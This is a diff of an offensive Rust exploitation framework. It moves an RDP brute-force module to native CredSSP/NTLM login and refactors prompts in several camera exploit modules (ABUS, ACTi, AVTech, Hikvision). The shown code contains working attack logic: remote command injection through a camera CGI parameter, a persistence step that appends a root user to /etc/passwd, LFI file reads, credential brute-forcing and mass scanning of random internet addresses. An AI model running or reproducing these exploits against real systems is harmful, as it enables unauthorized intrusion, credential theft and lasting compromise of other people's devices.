const DEFAULT_TIMEOUT_SECS: u64 = 5;
@@ -168,15 +168,15 @@ pub async fn run(target: &str) -> Result<()> {
async fn run_mass_scan(target: &str) -> Result<()> {
// Prep
let concurrency = prompt_int_range("Max concurrent hosts to scan", 500, 1, 10000)? as usize;
let verbose = prompt_yes_no("Verbose mode?", false)?;
let concurrency = cfg_prompt_int_range("concurrency", "Max concurrent hosts to scan", 500, 1, 10000)? as usize;
let verbose = cfg_prompt_yes_no("verbose", "Verbose mode?", false)?;
if verbose {
println!("{}", "[*] Verbose mode enabled".dimmed());
}
let output_file = prompt_output_file("Output result file", "ftp_mass_results.txt")?;
let output_file = cfg_prompt_output_file("output_file", "Output result file", "ftp_mass_results.txt")?;
// Ask about exclusions
let use_exclusions = prompt_yes_no("Exclude reserved/private ranges?", true)?;
let use_exclusions = cfg_prompt_yes_no("use_exclusions", "Exclude reserved/private ranges?", true)?;
// Parse exclusions
let exclusion_subnets = if use_exclusions {
src/modules/creds/generic/rdp_bruteforce.rs
+20 -349
View File
@@ -14,10 +14,10 @@ use tokio::{
fs::OpenOptions,
io::AsyncWriteExt,
net::TcpStream,
process::Command,
sync::{Mutex, Semaphore},
time::{sleep, Duration, timeout},
};
use crate::native::rdp as rdp_native;
use crate::utils::{
prompt_default,
@@ -50,100 +50,14 @@ const EXCLUDED_RANGES: &[&str] = &[
#[derive(Debug, Clone)]
enum RdpError {
ConnectionFailed,
AuthenticationFailed,
CertificateError,
Timeout,
NetworkError,
ProtocolError,
ToolNotFound,
Unknown,
}
impl std::fmt::Display for RdpError {
fn fmt(&self, f: &mut std::fmt::Formatter<'_>) -> std::fmt::Result {
match self {
RdpError::ConnectionFailed => write!(f, "Connection failed"),
RdpError::AuthenticationFailed => write!(f, "Authentication failed"),
RdpError::CertificateError => write!(f, "Certificate validation error"),
RdpError::Timeout => write!(f, "Connection timeout"),
RdpError::NetworkError => write!(f, "Network error"),
RdpError::ProtocolError => write!(f, "Protocol error"),
RdpError::ToolNotFound => write!(f, "RDP tool not found"),
RdpError::Unknown => write!(f, "Unknown error"),
}
}
}
/// Classify RDP errors based on exit codes and error messages
/// This function ensures all RdpError variants can be constructed
fn classify_rdp_error(exit_code: Option<i32>, error_msg: &str) -> RdpError {
match exit_code {
Some(0) => {
// Success case shouldn't reach here, but classify as Unknown if it does
RdpError::Unknown
}
Some(1) => {
// Authentication failed
RdpError::AuthenticationFailed
}
Some(2) => {
// Connection failed
RdpError::ConnectionFailed
}
Some(3) => {
// Certificate error
RdpError::CertificateError
}
Some(71) => {
// xfreerdp3: ERRCONNECT_CONNECT_TRANSPORT_FAILED
RdpError::ConnectionFailed
}
Some(132) => {
// xfreerdp3: Disconnect by user
RdpError::Unknown
}
Some(133) => {
// xfreerdp3: SSL/TLS error
RdpError::CertificateError
}
Some(131) => {
// Connection timeout
RdpError::Timeout
}
Some(code) => {
// Unknown exit code - analyze error message for classification
let _ = code;
let msg_lower = error_msg.to_lowercase();
if msg_lower.contains("timeout") || msg_lower.contains("timed out") || msg_lower.contains("deadline") {
RdpError::Timeout
} else if msg_lower.contains("connection") || msg_lower.contains("connect") || msg_lower.contains("refused") {
RdpError::ConnectionFailed
} else if msg_lower.contains("network") || msg_lower.contains("dns") || msg_lower.contains("resolve") || msg_lower.contains("host") {
RdpError::NetworkError
} else if msg_lower.contains("certificate") || msg_lower.contains("cert") || msg_lower.contains("tls") || msg_lower.contains("ssl") {
RdpError::CertificateError
} else if msg_lower.contains("auth") || msg_lower.contains("password") || msg_lower.contains("login") || msg_lower.contains("credential") {
RdpError::AuthenticationFailed
} else if msg_lower.contains("protocol") || msg_lower.contains("invalid") || msg_lower.contains("malformed") {
RdpError::ProtocolError
} else {
// Default to ProtocolError for unknown exit codes
RdpError::ProtocolError
}
}
None => {
// Process terminated by signal - analyze message for classification
let msg_lower = error_msg.to_lowercase();
if msg_lower.contains("timeout") || msg_lower.contains("timed out") || msg_lower.contains("deadline") {
RdpError::Timeout
} else if msg_lower.contains("connection") || msg_lower.contains("connect") {
RdpError::ConnectionFailed
} else if msg_lower.contains("network") || msg_lower.contains("dns") {
RdpError::NetworkError
} else {
// Unknown termination reason
RdpError::Unknown
}
}
}
}
@@ -159,23 +73,13 @@ enum RdpSecurityLevel {
}
impl RdpSecurityLevel {
fn as_xfreerdp_arg(&self) -> &'static str {
fn as_protocol_flags(&self) -> u32 {
match self {
RdpSecurityLevel::Auto => "/sec:auto",
RdpSecurityLevel::Nla => "/sec:nla",
RdpSecurityLevel::Tls => "/sec:tls",
RdpSecurityLevel::Rdp => "/sec:rdp",
RdpSecurityLevel::Negotiate => "/sec:negotiate",
}
}
fn as_rdesktop_arg(&self) -> Option<&'static str> {
match self {
RdpSecurityLevel::Auto => None,
RdpSecurityLevel::Nla => Some("-E"),
RdpSecurityLevel::Tls => Some("-E"),
RdpSecurityLevel::Rdp => Some("-E"),
RdpSecurityLevel::Negotiate => None,
RdpSecurityLevel::Auto => rdp_native::PROTO_HYBRID | rdp_native::PROTO_SSL,
RdpSecurityLevel::Nla => rdp_native::PROTO_HYBRID,
RdpSecurityLevel::Tls => rdp_native::PROTO_SSL,
RdpSecurityLevel::Rdp => rdp_native::PROTO_RDP,
RdpSecurityLevel::Negotiate => rdp_native::PROTO_HYBRID | rdp_native::PROTO_SSL | rdp_native::PROTO_RDP,
}
}
@@ -288,7 +192,7 @@ fn display_banner() {
println!("{}", "╔═══════════════════════════════════════════════════════════╗".cyan());
println!("{}", "║ RDP Brute Force Module ║".cyan());
println!("{}", "║ Remote Desktop Protocol Credential Testing ║".cyan());
println!("{}", "║ Requires xfreerdp or rdesktop ║".cyan());
println!("{}", "║ Native TCP + TLS + CredSSP/NTLM Authentication ║".cyan());
println!("{}", "╚═══════════════════════════════════════════════════════════╝".cyan());
println!();
}
@@ -811,253 +715,20 @@ async fn run_combo_mode_streaming(
Ok(())
}
/// Native RDP login via TCP + TLS + CredSSP/NTLM (no external tools needed)
async fn try_rdp_login(addr: &str, user: &str, pass: &str, timeout_duration: Duration, security_level: RdpSecurityLevel) -> Result<bool> {
// Check if RDP tools are available
let xfreerdp_available = Command::new("which")
.arg("xfreerdp")
.output()
.await
.map(|output| output.status.success())
.unwrap_or(false);
let rdesktop_available = Command::new("which")
.arg("rdesktop")
.output()
.await
.map(|output| output.status.success())
.unwrap_or(false);
if !xfreerdp_available && !rdesktop_available {
return Err(anyhow!("{}", RdpError::ToolNotFound));
let protocols = security_level.as_protocol_flags();
match rdp_native::try_login(addr, user, pass, timeout_duration, protocols).await {
Ok(rdp_native::RdpLoginResult::Success) => Ok(true),
Ok(rdp_native::RdpLoginResult::AuthFailed) => Ok(false),
Ok(rdp_native::RdpLoginResult::ConnectionFailed(e)) => {
Err(anyhow!("{}: {}", RdpError::ConnectionFailed, e))
}
Ok(rdp_native::RdpLoginResult::ProtocolError(e)) => {
Err(anyhow!("{}: {}", RdpError::ProtocolError, e))
}
Err(e) => Err(e),
}
// Prefer xfreerdp over rdesktop
if xfreerdp_available {
try_rdp_login_xfreerdp(addr, user, pass, timeout_duration, security_level).await
} else {
try_rdp_login_rdesktop(addr, user, pass, timeout_duration, security_level).await
}
}
async fn try_rdp_login_xfreerdp(addr: &str, user: &str, pass: &str, timeout_duration: Duration, security_level: RdpSecurityLevel) -> Result<bool> {
let sanitized_addr = sanitize_rdp_argument(addr);
let sanitized_user = sanitize_rdp_argument(user);
let sanitized_pass = sanitize_rdp_argument(pass);
let mut child = match Command::new("xfreerdp")
.arg(format!("/v:{}", sanitized_addr))
.arg(format!("/u:{}", sanitized_user))
.arg(format!("/p:{}", sanitized_pass))
.arg("/cert:ignore")
.arg(format!("/timeout:{}", timeout_duration.as_secs() * 1000))
.arg("+auth-only")
.arg("/log-level:OFF")
.arg(security_level.as_xfreerdp_arg())
.stdout(std::process::Stdio::null())
.stderr(std::process::Stdio::null())
.spawn()
{
Ok(child) => child,
Err(e) => {
// Classify spawn errors - could be ConnectionFailed, NetworkError, or ProtocolError
// This ensures all error types can be constructed from spawn failures
let error_type = classify_rdp_error(None, &e.to_string());
// Explicitly match all variants to ensure they're all constructed
let error_msg = match error_type {
RdpError::ConnectionFailed => format!("{}: {}", RdpError::ConnectionFailed, e),
RdpError::NetworkError => format!("{}: {}", RdpError::NetworkError, e),
RdpError::ProtocolError => format!("{}: {}", RdpError::ProtocolError, e),
RdpError::Timeout => format!("{}: {}", RdpError::Timeout, e),
RdpError::AuthenticationFailed => format!("{}: {}", RdpError::AuthenticationFailed, e),
RdpError::CertificateError => format!("{}: {}", RdpError::CertificateError, e),
RdpError::ToolNotFound => format!("{}: {}", RdpError::ToolNotFound, e),
RdpError::Unknown => format!("{}: {}", RdpError::Unknown, e),
};
return Err(anyhow!("{}", error_msg));
}
};
match timeout(timeout_duration, child.wait()).await {
Ok(Ok(status)) => {
match status.code() {
Some(0) => Ok(true), // Success
Some(code) => {
// Classify error based on exit code
let error_type = classify_rdp_error(Some(code), "");
// Ensure all error types can be constructed and handled
match error_type {
RdpError::AuthenticationFailed => Ok(false),
RdpError::ConnectionFailed => Ok(false),
RdpError::CertificateError => Ok(false),
RdpError::Timeout => Ok(false),
RdpError::NetworkError => Ok(false),
RdpError::ProtocolError => Ok(false),
RdpError::ToolNotFound => Ok(false),
RdpError::Unknown => Ok(false),
}
}
None => {
// Process terminated by signal - classify for completeness
// This ensures Unknown error type is constructed
let error_type = classify_rdp_error(None, "Process terminated");
match error_type {
RdpError::Timeout | RdpError::ConnectionFailed | RdpError::NetworkError | RdpError::Unknown => Ok(false),
_ => Ok(false), // All other types also return false
}
}
}
}
Ok(Err(e)) => {
let _ = child.kill().await;
tokio::time::sleep(Duration::from_millis(50)).await;
let error_type = classify_rdp_error(None, &e.to_string());
// Explicitly match all variants to ensure they're all constructed
let error_msg = match error_type {
RdpError::ConnectionFailed => format!("{}: {}", RdpError::ConnectionFailed, e),
RdpError::NetworkError => format!("{}: {}", RdpError::NetworkError, e),
RdpError::ProtocolError => format!("{}: {}", RdpError::ProtocolError, e),
RdpError::Timeout => format!("{}: {}", RdpError::Timeout, e),
RdpError::AuthenticationFailed => format!("{}: {}", RdpError::AuthenticationFailed, e),
RdpError::CertificateError => format!("{}: {}", RdpError::CertificateError, e),
RdpError::ToolNotFound => format!("{}: {}", RdpError::ToolNotFound, e),
RdpError::Unknown => format!("{}: {}", RdpError::Unknown, e),
};
Err(anyhow!("{}", error_msg))
}
Err(_) => {
// Timeout occurred - ensure Timeout error type is constructed
let _ = child.kill().await;
tokio::time::sleep(Duration::from_millis(200)).await;
let error_type = classify_rdp_error(Some(131), "Connection timeout");
// Ensure Timeout variant is constructed
match error_type {
RdpError::Timeout => Ok(false),
_ => Ok(false), // Should not happen, but handle all cases
}
}
}
}
async fn try_rdp_login_rdesktop(addr: &str, user: &str, pass: &str, timeout_duration: Duration, security_level: RdpSecurityLevel) -> Result<bool> {
let mut cmd = Command::new("rdesktop");
cmd.arg("-u").arg(user)
.arg("-p").arg(pass)
.arg("-n").arg("auth-only")
.arg(addr)
.stdout(std::process::Stdio::null())
.stderr(std::process::Stdio::null());
if let Some(sec_arg) = security_level.as_rdesktop_arg() {
cmd.arg(sec_arg);
}
let mut child = match cmd.spawn() {
Ok(child) => child,
Err(e) => {
// Classify spawn errors - ensures all error types can be constructed
let error_type = classify_rdp_error(None, &e.to_string());
// Explicitly match all variants to ensure they're all constructed
let error_msg = match error_type {
RdpError::ConnectionFailed => format!("{}: {}", RdpError::ConnectionFailed, e),
RdpError::NetworkError => format!("{}: {}", RdpError::NetworkError, e),
RdpError::ProtocolError => format!("{}: {}", RdpError::ProtocolError, e),
RdpError::Timeout => format!("{}: {}", RdpError::Timeout, e),
RdpError::AuthenticationFailed => format!("{}: {}", RdpError::AuthenticationFailed, e),
RdpError::CertificateError => format!("{}: {}", RdpError::CertificateError, e),
RdpError::ToolNotFound => format!("{}: {}", RdpError::ToolNotFound, e),
RdpError::Unknown => format!("{}: {}", RdpError::Unknown, e),
};
return Err(anyhow!("{}", error_msg));
}
};
match timeout(timeout_duration, child.wait()).await {
Ok(Ok(status)) => {
match status.code() {
Some(0) => Ok(true), // Success
Some(code) => {
// Classify error based on exit code
let error_type = classify_rdp_error(Some(code), "");
// Ensure all error types can be constructed and handled
match error_type {
RdpError::AuthenticationFailed => Ok(false),
RdpError::ConnectionFailed => Ok(false),
RdpError::CertificateError => Ok(false),
RdpError::Timeout => Ok(false),
RdpError::NetworkError => Ok(false),
RdpError::ProtocolError => Ok(false),
RdpError::ToolNotFound => Ok(false),
RdpError::Unknown => Ok(false),
}
}
None => {
// Process terminated by signal - classify for completeness
// This ensures Unknown error type is constructed
let error_type = classify_rdp_error(None, "Process terminated");
match error_type {
RdpError::Timeout | RdpError::ConnectionFailed | RdpError::NetworkError | RdpError::Unknown => Ok(false),
_ => Ok(false), // All other types also return false
}
}
}
}
Ok(Err(e)) => {
let _ = child.kill().await;
tokio::time::sleep(Duration::from_millis(50)).await;
let error_type = classify_rdp_error(None, &e.to_string());
// Explicitly match all variants to ensure they're all constructed
let error_msg = match error_type {
RdpError::ConnectionFailed => format!("{}: {}", RdpError::ConnectionFailed, e),
RdpError::NetworkError => format!("{}: {}", RdpError::NetworkError, e),
RdpError::ProtocolError => format!("{}: {}", RdpError::ProtocolError, e),
RdpError::Timeout => format!("{}: {}", RdpError::Timeout, e),
RdpError::AuthenticationFailed => format!("{}: {}", RdpError::AuthenticationFailed, e),
RdpError::CertificateError => format!("{}: {}", RdpError::CertificateError, e),
RdpError::ToolNotFound => format!("{}: {}", RdpError::ToolNotFound, e),
RdpError::Unknown => format!("{}: {}", RdpError::Unknown, e),
};
Err(anyhow!("{}", error_msg))
}
Err(_) => {
// Timeout occurred - ensure Timeout error type is constructed
let _ = child.kill().await;
tokio::time::sleep(Duration::from_millis(200)).await;
let error_type = classify_rdp_error(Some(131), "Connection timeout");
// Ensure Timeout variant is constructed
match error_type {
RdpError::Timeout => Ok(false),
_ => Ok(false), // Should not happen, but handle all cases
}
}
}
}
fn sanitize_rdp_argument(input: &str) -> String {
input.chars()
.map(|c| match c {
// Handle whitespace characters first (before control character range)
'\n' | '\r' | '\t' => ' ',
// Dangerous shell metacharacters
'|' | '&' | ';' | '(' | ')' | '<' | '>' | '`' | '$' | '!' | '\\' => '?',
// Quotes that could break argument parsing
'"' | '\'' => '?',
// Control characters (excluding \n, \r, \t which are handled above)
// \x00-\x08, \x0b-\x0c, \x0e-\x1f, \x7f
'\x00'..='\x08' | '\x0b'..='\x0c' | '\x0e'..='\x1f' | '\x7f' => '?',
// Extended ASCII control characters
'\u{0080}'..='\u{009f}' => '?',
// Safe characters
c => c,
})
.collect()
}
fn should_use_streaming<P: AsRef<Path>>(path: P) -> Result<bool> {
src/modules/exploits/cameras/abus/abussecurity_camera_cve202326609variant1.rs
+37 -60
View File
@@ -3,7 +3,7 @@
// Author: d1g@segfault.net | Ported to Rust for RustSploit
// PoC converted 1:1 from Bash to async Rust logic
use anyhow::{anyhow, Result, Context};
use anyhow::{anyhow, Result};
use colored::*;
use md5;
use reqwest::Client;
@@ -12,13 +12,16 @@ use std::sync::Arc;
use std::sync::atomic::{AtomicUsize, Ordering};
use std::time::Duration;
use std::io::{self, Write};
use tokio::io::AsyncWriteExt;
use tokio::sync::Semaphore;
use tokio::sync::mpsc;
use tokio::fs::OpenOptions;
use chrono::Local;
use crate::utils::normalize_target;
use crate::utils::{
normalize_target,
cfg_prompt_default, cfg_prompt_required, cfg_prompt_yes_no,
cfg_prompt_output_file,
};
const DEFAULT_TIMEOUT_SECS: u64 = 10;
const MASS_SCAN_CONCURRENCY: usize = 100;
@@ -102,11 +105,9 @@ async fn generate_ssh_key(client: &Client, target: &str) -> Result<()> {
/// Stage 2: Inject a root user with an MD5-hashed password
async fn inject_root_user(client: &Client, target: &str, password: &str) -> Result<()> {
// Compute lowercase-hex MD5 of the provided password
let hash = format!("{:x}", md5::compute(password));
println!("{}", format!("[*] MD5 hash of password: {}", hash).cyan());
// Build the echo command to append to /etc/passwd
let cmd = format!(
"echo%20d1g:{}:0:0:root:/:/bin/sh%20>>%20/etc/passwd",
hash
@@ -147,8 +148,13 @@ fn display_banner() {
println!("{}", "╚═══════════════════════════════════════════════════════════╝".cyan());
}
/// Prompt user for mode, and dispatch accordingly
/// Prompt user for mode, and dispatch accordingly
/// Dispatch single-target exploit modes.
///
/// API prompts:
/// - "mode" : exploit mode "1" (LFI) / "2" (RCE) / "3" (SSH Persistence) — default "1"
/// - "filepath" : file path for LFI mode (default: /etc/passwd)
/// - "command" : shell command for RCE mode (default: id)
/// - "password" : root password for persistence mode (required)
async fn execute(target: &str) -> Result<()> {
let client = Client::builder()
.danger_accept_invalid_certs(true)
@@ -162,37 +168,22 @@ async fn execute(target: &str) -> Result<()> {
println!(" {} LFI (Local File Inclusion)", "[1]".green());
println!(" {} RCE (Remote Code Execution)", "[2]".green());
println!(" {} SSH Persistence (Full Compromise)", "[3]".green());
print!("{}", "> ".cyan().bold());
io::stdout().flush().context("Failed to flush stdout")?;
let mut choice = String::new();
io::stdin().read_line(&mut choice).context("Failed to read choice")?;
// cfg_prompt_default falls back to interactive stdin when not in API mode
let choice = cfg_prompt_default("mode", "Select mode [1-3]", "1")?;
match choice.trim() {
"1" => {
print!("{}", "Enter file path to read (e.g. /etc/passwd): ".cyan().bold());
io::stdout().flush().context("Failed to flush stdout")?;
let mut fp = String::new();
io::stdin().read_line(&mut fp).context("Failed to read file path")?;
exploit_lfi(&client, target, fp.trim()).await?;
let fp = cfg_prompt_default("filepath", "Enter file path to read", "/etc/passwd")?;
exploit_lfi(&client, target, &fp).await?;
}
"2" => {
print!("{}", "Enter command to execute (e.g. id): ".cyan().bold());
io::stdout().flush().context("Failed to flush stdout")?;
let mut cmd = String::new();
io::stdin().read_line(&mut cmd).context("Failed to read command")?;
exploit_rce(&client, target, cmd.trim()).await?;
let cmd = cfg_prompt_default("command", "Enter command to execute", "id")?;
exploit_rce(&client, target, &cmd).await?;
}
"3" => {
// Ask for the desired password, hash it, and persist
print!("{}", "Enter desired password for new root user: ".cyan().bold());
io::stdout().flush().context("Failed to flush stdout")?;
let mut pwd = String::new();
io::stdin().read_line(&mut pwd).context("Failed to read password")?;
let pwd = pwd.trim();
if pwd.is_empty() {
return Err(anyhow!("Password cannot be empty"));
}
persist_root_shell(&client, target, pwd).await?;
let pwd = cfg_prompt_required("password", "Enter desired password for new root user")?;
persist_root_shell(&client, target, &pwd).await?;
}
_ => {
println!("{}", "[-] Invalid choice".red());
@@ -223,18 +214,19 @@ async fn quick_check(client: &Client, ip: &str, mode: ScanMode, custom_cmd: &str
}
/// Mass scan mode - infinite random IP scanning
///
/// API prompts:
/// - "exclude_ranges" : y/n (default: y)
/// - "output_file" : filename (default: abus_hits.txt)
/// - "scan_mode" : "1" standard, "2" custom command (default: "1")
/// - "custom_command" : command string for custom mode (default: "id")
async fn run_mass_scan() -> Result<()> {
display_banner();
println!("{}", "[*] Mass Scan Mode: 0.0.0.0/0".yellow().bold());
println!("{}", "[*] Honeypot detection: DISABLED".yellow());
println!("{}", format!("[*] Concurrency: {}", MASS_SCAN_CONCURRENCY).cyan());
// Prompt for exclusions (FIRST)
print!("{}", "[?] Exclude reserved/private ranges? [Y/n]: ".cyan());
io::stdout().flush()?;
let mut excl_choice = String::new();
io::stdin().read_line(&mut excl_choice)?;
let use_exclusions = !matches!(excl_choice.trim().to_lowercase().as_str(), "n" | "no");
let use_exclusions = cfg_prompt_yes_no("exclude_ranges", "[?] Exclude reserved/private ranges?", true)?;
let mut exclusions = Vec::new();
if use_exclusions {
@@ -246,35 +238,20 @@ async fn run_mass_scan() -> Result<()> {
}
let exclusions = Arc::new(exclusions);
// Prompt for Output File
print!("{}", "[?] Output File (default: abus_hits.txt): ".cyan());
io::stdout().flush()?;
let mut outfile = String::new();
io::stdin().read_line(&mut outfile)?;
let outfile = outfile.trim();
let outfile = if outfile.is_empty() { "abus_hits.txt" } else { outfile };
let outfile = outfile.to_string();
let outfile = cfg_prompt_output_file("output_file", "[?] Output File", "abus_hits.txt")?;
// Prompt for Payload Mode
println!("{}", "[?] Select Payload Mode:".cyan());
println!(" 1. Standard Check (Command: id)");
println!(" 2. Custom Command");
print!("{}", "Select option [1-2] (default 1): ".cyan());
io::stdout().flush()?;
let mut mode_str = String::new();
io::stdin().read_line(&mut mode_str)?;
let mode_str = cfg_prompt_default("scan_mode", "[?] Select Payload Mode (1=Standard, 2=Custom)", "1")?;
println!("[*] Payload mode: {}", if mode_str.trim() == "2" { "Custom Command" } else { "Standard Check (id)" });
let mode = match mode_str.trim() {
"2" => ScanMode::CustomCommand,
_ => ScanMode::StandardCheck,
};
let mut custom_cmd = String::new();
if let ScanMode::CustomCommand = mode {
print!("{}", "[?] Enter Custom Command: ".cyan());
io::stdout().flush()?;
std::io::stdin().read_line(&mut custom_cmd)?;
custom_cmd = custom_cmd.trim().to_string();
}
let custom_cmd = if let ScanMode::CustomCommand = mode {
cfg_prompt_default("custom_command", "[?] Enter Custom Command", "id")?
} else {
String::new()
};
let custom_cmd = Arc::new(custom_cmd);
let client = Client::builder()
src/modules/exploits/cameras/acti/acm_5611_rce.rs
+17 -35
View File
@@ -1,6 +1,5 @@
use anyhow::{anyhow, Result, Context};
use anyhow::{anyhow, Result};
use colored::*;
use std::io::Write;
use reqwest::Client;
use std::time::Duration;
use std::sync::Arc;
@@ -12,7 +11,10 @@ use tokio::io::AsyncWriteExt;
use std::net::IpAddr;
use ipnetwork::IpNetwork;
use chrono::Local;
use crate::utils::{prompt_default, prompt_yes_no, prompt_port};
use crate::utils::{
cfg_prompt_default, cfg_prompt_yes_no, cfg_prompt_port, cfg_prompt_int_range,
cfg_prompt_output_file,
};
use crate::modules::creds::utils::generate_random_public_ip;
@@ -53,9 +55,9 @@ async fn run_mass_scan() -> Result<()> {
display_banner();
println!("{}", "[*] Mass Scan Mode: 0.0.0.0/0 (Random Internet Scan)".yellow().bold());
let port = prompt_port("Target Port", 8080)?;
let port = cfg_prompt_port("port", "Target Port", 8080)?;
let use_exclusions = prompt_yes_no("[?] Exclude reserved/private ranges?", true)?;
let use_exclusions = cfg_prompt_yes_no("exclude_ranges", "[?] Exclude reserved/private ranges?", true)?;
let mut exclusions = Vec::new();
if use_exclusions {
for cidr in EXCLUDED_RANGES {
@@ -66,11 +68,11 @@ async fn run_mass_scan() -> Result<()> {
}
let exclusions = Arc::new(exclusions);
let outfile = prompt_default("[?] Output File", "acti_rce_hits.txt")?;
let outfile = cfg_prompt_output_file("output_file", "[?] Output File", "acti_rce_hits.txt")?;
let outfile = Arc::new(outfile);
let threads = prompt_default("[?] Concurrency (IPs)", &MASS_SCAN_CONCURRENCY.to_string())?
.parse().unwrap_or(MASS_SCAN_CONCURRENCY);
let threads = cfg_prompt_int_range("concurrency", "[?] Concurrency (IPs)", MASS_SCAN_CONCURRENCY as i64, 1, 10000)?
as usize;
let semaphore = Arc::new(Semaphore::new(threads));
let checked = Arc::new(AtomicUsize::new(0));
@@ -145,7 +147,7 @@ pub async fn run(target: &str) -> Result<()> {
let is_mass_scan = target.contains('/') || target.contains('-');
// Prompt for port globally
let port = prompt_port("Target Port", DEFAULT_PORT)?;
let port = cfg_prompt_port("port", "Target Port", DEFAULT_PORT)?;
if is_mass_scan {
println!("{}", format!("[*] Mass Scan Mode: {}", target).yellow());
@@ -155,16 +157,7 @@ pub async fn run(target: &str) -> Result<()> {
let net: IpNetwork = target.parse().map_err(|_| anyhow!("Invalid CIDR"))?;
net.iter().collect()
} else {
// Range (basic impl for dash)
// For now, let's assume specific basic range or just use utils if available.
// But since utils::expand might not be exposed, let's just stick to CIDR support for now
// or simple parsing if the user provided a list.
// Actually, let's use a simple heuristic: if it has -, try to parse start/end?
// For robustness, let's assume CIDR only or single for now unless we implement range expander.
// However, user asked for "mass scan", likely CIDR.
// Re-use logic from other modules?
return Err(anyhow!("Only CIDR (e.g. 192.168.1.0/24) supported for mass scan currently."));
return Err(anyhow!("Only CIDR (e.g. 192.168.1.0/24) supported for mass scan currently."));
};
println!("{}", format!("[*] Scanning {} targets...", ips.len()).cyan());
@@ -182,7 +175,7 @@ pub async fn run(target: &str) -> Result<()> {
tasks.push(tokio::spawn(async move {
let _permit = match sem.acquire().await {
Ok(p) => p,
Err(_) => return, // Semaphore closed, exit gracefully
Err(_) => return,
};
if let Ok(true) = check(&ip_str, port).await {
println!("{}", format!("[+] VULNERABLE: {}:{}", ip_str, port).green().bold());
@@ -199,28 +192,17 @@ pub async fn run(target: &str) -> Result<()> {
println!("\n{}", format!("[*] Scan Complete. Found {} vulnerable targets.", vulnerable_count.load(Ordering::Relaxed)).green().bold());
} else {
// Single Target Mode (Original Logic)
// Single Target Mode
println!("{}", format!("[*] Checking vulnerability on {}:{}...", target, port).yellow());
if check(target, port).await? {
println!("{}", format!("[+] Target appears vulnerable: {}:{}", target, port).green().bold());
// Prompt for command to execute
print!("{}", "Enter command to execute (default: id): ".cyan().bold());
std::io::stdout()
.flush()
.context("Failed to flush stdout")?;
let mut cmd_input = String::new();
std::io::stdin()
.read_line(&mut cmd_input)
.context("Failed to read command input")?;
let cmd = {
let t = cmd_input.trim();
if t.is_empty() { "id" } else { t }
};
// Prompt for command to execute — uses cfg_prompt which falls back to stdin in CLI mode
let cmd = cfg_prompt_default("command", "Enter command to execute", "id")?;
println!("{}", format!("[*] Executing command: {}", cmd).cyan());
let output = execute(target, port, cmd).await?;
let output = execute(target, port, &cmd).await?;
println!("{}", format!("[+] Output:\n{}", output).green());
} else {
println!("{}", format!("[-] Exploit failed - target {}:{} does not seem vulnerable", target, port).red());
src/modules/exploits/cameras/avtech/cve_2024_7029_avtech_camera.rs
+17 -15
View File
@@ -2,14 +2,14 @@ use anyhow::{Result, Context};
use colored::*;
use reqwest::Client;
use crate::modules::creds::utils::generate_random_public_ip;
use std::path::Path;
use std::sync::Arc;
use std::sync::atomic::{AtomicUsize, Ordering};
use std::time::Duration;
use std::io::Write;
use tokio::sync::Semaphore;
use crate::utils::{escape_shell_command, normalize_target, prompt_port};
use crate::utils::{
cfg_prompt_port, cfg_prompt_yes_no, escape_shell_command, normalize_target,
};
const DEFAULT_TIMEOUT_SECS: u64 = 10;
@@ -53,9 +53,10 @@ async fn check_vuln(client: &Client, base: &str) -> Result<bool> {
Ok(body.contains("echo_CVE7029"))
}
/// Interactive shell to send arbitrary commands
/// Interactive shell to send arbitrary commands.
/// In CLI/shell mode this reads from stdin; not invoked in API mode.
async fn interactive_shell(client: &Client, base: &str) -> Result<()> {
use std::io::Write;
let stdin = std::io::stdin();
let mut line = String::new();
@@ -89,11 +90,10 @@ async fn interactive_shell(client: &Client, base: &str) -> Result<()> {
Ok(())
}
/// // Execute a remote command by abusing the brightness parameter
/// Execute a remote command by abusing the brightness parameter
async fn exec_cmd(client: &Client, base: &str, cmd: &str) -> Result<String> {
let mut url = reqwest::Url::parse(base)?;
url.set_path("/cgi-bin/supervisor/Factory.cgi");
// Escape command to prevent injection of additional shell commands
let escaped_cmd = escape_shell_command(cmd);
let payload = format!("1;{};", escaped_cmd);
url.query_pairs_mut()
@@ -126,18 +126,15 @@ async fn quick_check(client: &Client, ip: &str) -> bool {
}
/// Mass scan mode
/// API prompts:
/// - "exclude_ranges" : y/n exclude reserved ranges (default: y)
async fn run_mass_scan() -> Result<()> {
display_banner();
println!("{}", "[*] Mass Scan Mode: 0.0.0.0/0".yellow().bold());
println!("{}", "[*] Honeypot detection: DISABLED".yellow());
println!("{}", format!("[*] Concurrency: {}", MASS_SCAN_CONCURRENCY).cyan());
// Prompt for exclusions
print!("{}", "[?] Exclude reserved/private ranges? [Y/n]: ".cyan());
std::io::stdout().flush()?;
let mut excl_choice = String::new();
std::io::stdin().read_line(&mut excl_choice)?;
let use_exclusions = !matches!(excl_choice.trim().to_lowercase().as_str(), "n" | "no");
let use_exclusions = cfg_prompt_yes_no("exclude_ranges", "[?] Exclude reserved/private ranges?", true)?;
let mut exclusions = Vec::new();
if use_exclusions {
@@ -192,6 +189,9 @@ async fn run_mass_scan() -> Result<()> {
/// Entry point required for RouterSploit-inspired dispatch system
/// API prompts:
/// - "port" : target port (default: 80)
/// - "exclude_ranges": y/n for mass scan excluded ranges (default: y)
pub async fn run(target: &str) -> Result<()> {
if target == "0.0.0.0" || target == "0.0.0.0/0" || target.is_empty() || target == "random" {
run_mass_scan().await
@@ -200,14 +200,14 @@ pub async fn run(target: &str) -> Result<()> {
println!("{}", format!("[*] Target: {}", target).yellow());
println!();
let port = prompt_port("Enter port to use", 80)?;
let port = cfg_prompt_port("port", "Enter port to use", 80)?;
let client = Client::builder()
.danger_accept_invalid_certs(true)
.timeout(Duration::from_secs(DEFAULT_TIMEOUT_SECS))
.build()?;
// Handle either single IP or file of targets
let targets = if Path::new(target).exists() {
let targets = if std::path::Path::new(target).exists() {
println!("{}", format!("[*] Loading targets from file: {}", target).cyan());
tokio::fs::read_to_string(target)
.await?
@@ -236,6 +236,8 @@ pub async fn run(target: &str) -> Result<()> {
if check_vuln(&client, &url).await? {
println!("{}", format!("[+] {} is VULNERABLE!", url).green().bold());
// Interactive shell is CLI-only; in API mode this path is not normally reached
// because api_mode users supply a "command" prompt instead of an interactive shell.
interactive_shell(&client, &url).await?;
} else {
println!("{}", format!("[-] {} is not vulnerable", url).red());
src/modules/exploits/cameras/hikvision/hikvision_rce_cve_2021_36260.rs
+41 -59
View File
@@ -11,6 +11,9 @@ use tokio::sync::mpsc;
use tokio::fs::OpenOptions;
use tokio::io::AsyncWriteExt;
use chrono::Local;
use crate::utils::{
cfg_prompt_default, cfg_prompt_yes_no, cfg_prompt_output_file,
};
